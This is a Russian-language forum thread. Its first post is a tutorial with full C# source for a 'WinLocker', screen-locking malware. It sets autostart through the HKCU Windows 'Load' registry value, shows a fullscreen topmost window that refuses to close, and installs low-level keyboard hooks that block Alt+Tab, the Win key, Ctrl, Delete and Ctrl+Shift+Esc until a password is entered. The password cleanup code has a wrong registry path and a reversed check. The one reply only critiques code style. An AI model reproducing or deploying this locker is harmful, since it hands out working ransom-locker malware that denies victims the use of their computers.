Загрузка...

Создаем свой простой WinLock на C#

Тема в разделе C# создана пользователем Dead__Artis 31 авг 2021. (поднята 28 фев 2023) 2150 просмотров

Загрузка...
  1. Dead__Artis
    Dead__Artis Автор темы 31 авг 2021 921 30 май 2020
    и так всем привет сегодня я расскажу как сделать свой простой винлокер (я бы мог сделать его сложней со всякой лабудой но пускай будет так)
    создаем проект на C# в visual studio приложение Windows Forms .net framework
    идем в Form1.cs в конструктор
    ищем свойство ShowInTaskBar ставим false теперь приложение не показывается в панели снизу
    ставим TopMost true приложение будет по верх всех приложений (нет)
    WindowState Maximized приложение растянется на весь экран
    создаем таймер timer1 он будет через winapi полностью растягивать winlock на экран
    теперь идем в код приложения
    и добавляем
    Код

    //так же добовляем юзинг using System.Runtime.InteropServices; и using Microsoft.Win32;
    private void WinLock_Load(object sender, EventArgs e)
    {
    using (RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(@"Software\Microsoft\Windows NT\CurrentVersion\Windows", true))
    {
    if (registryKey.GetValue("Load") == null)
    registryKey.SetValue("Load", Process.GetCurrentProcess().MainModule.FileName);
    registryKey.Close();
    }
    this.FormClosing += DenyClose;
    try
    {
    new Hook().SetHook();
    }
    catch { }
    timer1.Start();
    }
    [DllImport("user32.dll", EntryPoint = "SetWindowPos")]
    public static extern bool SetWindowPos(int hWnd, int hWndInsertAfter, int X, int Y, int cx, int cy, uint uFlags);

    private void DenyClose(object sender, FormClosingEventArgs e)
    {
    e.Cancel = true;
    }
    private void timer1_Tick(object sender, EventArgs e)
    {

    try
    {
    NativeMethods.SetWindowPos(this.Handle.ToInt32(), -1, Screen.PrimaryScreen.Bounds.Left, Screen.PrimaryScreen.Bounds.Top, Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height, 0x0010);
    this.WindowState = FormWindowState.Maximized;
    }
    catch { }
    }
    создаем два элемента это TextBox и Button
    нажимаем на button два раза и добавляем туда код
    Код

    private void button1_Click(object sender, EventArgs e)
    {
    if (textBox1.Text == "Наш Пароль")
    {
    using (RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(@"Software\Microsoft\Windows NT\CurrentVersion\Windows\Load", true))
    {
    if (registryKey.GetValue("Load") == null)
    registryKey.DeleteValue("Load");

    }
    Environment.Exit(0);
    }
    }
    затем создаем класс который называем Hook.cs
    Код
    using System;
    using System.Windows.Forms;
    using System.Runtime.InteropServices;

    namespace WinLock
    {
    class Hook
    {
    [StructLayout(LayoutKind.Sequential)]
    private struct KBDLLHOOKSTRUCT
    {
    public Keys key;
    }
    private const int WH_KEYBOARD_LL = 13;


    private LowLevelKeyboardProcDelegate m_callback;
    private LowLevelKeyboardProcDelegate m_callback_1;
    private LowLevelKeyboardProcDelegate m_callback_2;
    private LowLevelKeyboardProcDelegate m_callback_3;
    private LowLevelKeyboardProcDelegate m_callback_4;
    private LowLevelKeyboardProcDelegate m_callback_5;
    private LowLevelKeyboardProcDelegate m_callback_6;

    //Using hooks
    private IntPtr m_hHook;
    private IntPtr m_hHook_1;
    private IntPtr m_hHook_2;
    private IntPtr m_hHook_3;
    private IntPtr m_hHook_4;
    private IntPtr m_hHook_5;
    private IntPtr m_hHook_6;

    //Set hook on keyboard
    [DllImport("user32.dll", SetLastError = true)]
    private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProcDelegate lpfn, IntPtr hMod, int dwThreadId);

    //Unhook keyboard
    [DllImport("user32.dll", SetLastError = true)]
    private static extern bool UnhookWindowsHookEx(IntPtr hhk);

    //Hook handle
    [DllImport("Kernel32.dll", SetLastError = true)]
    private static extern IntPtr GetModuleHandle(IntPtr lpModuleName);

    //Calling the next hook
    [DllImport("user32.dll", SetLastError = true)]
    private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);


    //<Alt>+<Tab> blocking
    public IntPtr LowLevelKeyboardHookProc_alt_tab(int nCode, IntPtr wParam, IntPtr lParam)
    {
    if (nCode >= 0)//If not alredy captured
    {
    KBDLLHOOKSTRUCT objKeyInfo = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT));//Memory allocation and importing code data to KBDLLHOOKSTRUCT
    if (objKeyInfo.key == Keys.Alt || objKeyInfo.key == Keys.Tab)
    {
    return (IntPtr)1;//<Alt>+<Tab> blocking
    }
    }
    return CallNextHookEx(m_hHook, nCode, wParam, lParam);//Go to next hook
    }

    //<WinKey> capturing
    public IntPtr LowLevelKeyboardHookProc_win(int nCode, IntPtr wParam, IntPtr lParam)
    {
    if (nCode >= 0)//If not alredy captured
    {
    KBDLLHOOKSTRUCT objKeyInfo = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT));//Memory allocation and importing code data to KBDLLHOOKSTRUCT
    if (objKeyInfo.key == Keys.RWin || objKeyInfo.key == Keys.LWin)
    {
    return (IntPtr)1;//<WinKey> blocking
    }
    }
    return CallNextHookEx(m_hHook_1, nCode, wParam, lParam);//Go to next hook
    }

    //<Delete> capturing
    public IntPtr LowLevelKeyboardHookProc_del(int nCode, IntPtr wParam, IntPtr lParam)
    {
    if (nCode >= 0)//If not alredy captured
    {
    KBDLLHOOKSTRUCT objKeyInfo = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT));//Memory allocation and importing code data to KBDLLHOOKSTRUCT
    if (objKeyInfo.key == Keys.Delete)
    {
    return (IntPtr)1;//<Delete> blocking
    }
    }
    return CallNextHookEx(m_hHook_3, nCode, wParam, lParam);//Go to next hook
    }

    //<Control> capturing
    public IntPtr LowLevelKeyboardHookProc_ctrl(int nCode, IntPtr wParam, IntPtr lParam)
    {
    if (nCode >= 0)//If not alredy captured
    {
    KBDLLHOOKSTRUCT objKeyInfo = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT));//Memory allocation and importing code data to KBDLLHOOKSTRUCT
    if (objKeyInfo.key == Keys.RControlKey || objKeyInfo.key == Keys.LControlKey)
    {
    return (IntPtr)1;//<Control> blocking
    }
    }
    return CallNextHookEx(m_hHook_2, nCode, wParam, lParam);//Go to next hook
    }

    //<Alt> capturing
    public IntPtr LowLevelKeyboardHookProc_alt(int nCode, IntPtr wParam, IntPtr lParam)
    {
    if (nCode >= 0)//If not alredy captured
    {
    KBDLLHOOKSTRUCT objKeyInfo = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT));//Memory allocation and importing code data to KBDLLHOOKSTRUCT
    if (objKeyInfo.key == Keys.Alt)
    {
    return (IntPtr)1;//<Alt> blocking
    }
    }
    return CallNextHookEx(m_hHook_4, nCode, wParam, lParam);//Go to next hook
    }

    //<Alt>+<Space> blocking
    public IntPtr LowLevelKeyboardHookProc_alt_space(int nCode, IntPtr wParam, IntPtr lParam)
    {
    if (nCode >= 0)//If not alredy captured
    {
    KBDLLHOOKSTRUCT objKeyInfo = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT));//Memory allocation and importing code data to KBDLLHOOKSTRUCT
    if (objKeyInfo.key == Keys.Alt || objKeyInfo.key == Keys.Space)
    {
    return (IntPtr)1;//<Alt>+<Space> blocking
    }
    }
    return CallNextHookEx(m_hHook_5, nCode, wParam, lParam);//Go to next hook
    }

    //<Control>+<Shift>+<Escape> blocking
    public IntPtr LowLevelKeyboardHookProc_control_shift_escape(int nCode, IntPtr wParam, IntPtr lParam)
    {
    if (nCode >= 0)//If not alredy captured
    {
    KBDLLHOOKSTRUCT objKeyInfo = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT));//Memory allocation and importing code data to KBDLLHOOKSTRUCT
    if (objKeyInfo.key == Keys.LControlKey || objKeyInfo.key == Keys.RControlKey || objKeyInfo.key == Keys.LShiftKey || objKeyInfo.key == Keys.RShiftKey || objKeyInfo.key == Keys.Escape)
    {
    return (IntPtr)1;//<Control>+<Shift>+<Escape> blocking
    }
    }
    return CallNextHookEx(m_hHook_6, nCode, wParam, lParam);//Go to next hook
    }

    //Delegate for using hooks
    private delegate IntPtr LowLevelKeyboardProcDelegate(int nCode, IntPtr wParam, IntPtr lParam);

    //Setting all hooks
    public void SetHook()
    {
    //Hooks callbacks by delegate
    m_callback = LowLevelKeyboardHookProc_win;
    m_callback_1 = LowLevelKeyboardHookProc_alt_tab;
    m_callback_2 = LowLevelKeyboardHookProc_ctrl;
    m_callback_3 = LowLevelKeyboardHookProc_del;
    m_callback_4 = LowLevelKeyboardHookProc_alt;
    m_callback_5 = LowLevelKeyboardHookProc_alt_space;
    m_callback_6 = LowLevelKeyboardHookProc_control_shift_escape;
    //Hooks setting
    m_hHook = SetWindowsHookEx(WH_KEYBOARD_LL, m_callback, GetModuleHandle(IntPtr.Zero), 0);
    m_hHook_1 = SetWindowsHookEx(WH_KEYBOARD_LL, m_callback_1, GetModuleHandle(IntPtr.Zero), 0);
    m_hHook_2 = SetWindowsHookEx(WH_KEYBOARD_LL, m_callback_2, GetModuleHandle(IntPtr.Zero), 0);
    m_hHook_3 = SetWindowsHookEx(WH_KEYBOARD_LL, m_callback_3, GetModuleHandle(IntPtr.Zero), 0);
    m_hHook_4 = SetWindowsHookEx(WH_KEYBOARD_LL, m_callback_4, GetModuleHandle(IntPtr.Zero), 0);
    m_hHook_5 = SetWindowsHookEx(WH_KEYBOARD_LL, m_callback_5, GetModuleHandle(IntPtr.Zero), 0);
    m_hHook_6 = SetWindowsHookEx(WH_KEYBOARD_LL, m_callback_6, GetModuleHandle(IntPtr.Zero), 0);
    }

    //Keyboard unhooking
    public void Unhook()
    {
    UnhookWindowsHookEx(m_hHook);
    UnhookWindowsHookEx(m_hHook_1);
    UnhookWindowsHookEx(m_hHook_2);
    UnhookWindowsHookEx(m_hHook_3);
    UnhookWindowsHookEx(m_hHook_4);
    UnhookWindowsHookEx(m_hHook_5);
    UnhookWindowsHookEx(m_hHook_6);
    }
    }
    }
    все теперь можно накинуть label или еще что нибудь и ваш WinLocker готов хоть и простой :cool_bun::da:
    всем не вьеб@тся кодерам повторяю это простая версия вин лока и не надо писать мне за говно код ок ?
     
    31 авг 2021 Изменено
  2. r3xq1
    Всё это..
    Код
    private LowLevelKeyboardProcDelegate m_callback;
    private LowLevelKeyboardProcDelegate m_callback_1;
    private LowLevelKeyboardProcDelegate m_callback_2;
    private LowLevelKeyboardProcDelegate m_callback_3;
    private LowLevelKeyboardProcDelegate m_callback_4;
    private LowLevelKeyboardProcDelegate m_callback_5;
    private LowLevelKeyboardProcDelegate m_callback_6;

    //Using hooks
    private IntPtr m_hHook;
    private IntPtr m_hHook_1;
    private IntPtr m_hHook_2;
    private IntPtr m_hHook_3;
    private IntPtr m_hHook_4;
    private IntPtr m_hHook_5;
    private IntPtr m_hHook_6;
    Можно реализовать одним делегатом и использовать блокировку всех клавиш в одном методе и сам класс Hook лучше реализовывать в IDispossable и вызывать освобождение ресов в Dispose методе.
    Остальное лучше реализовывать по классам и не пихать всё в главную форму.
     
Top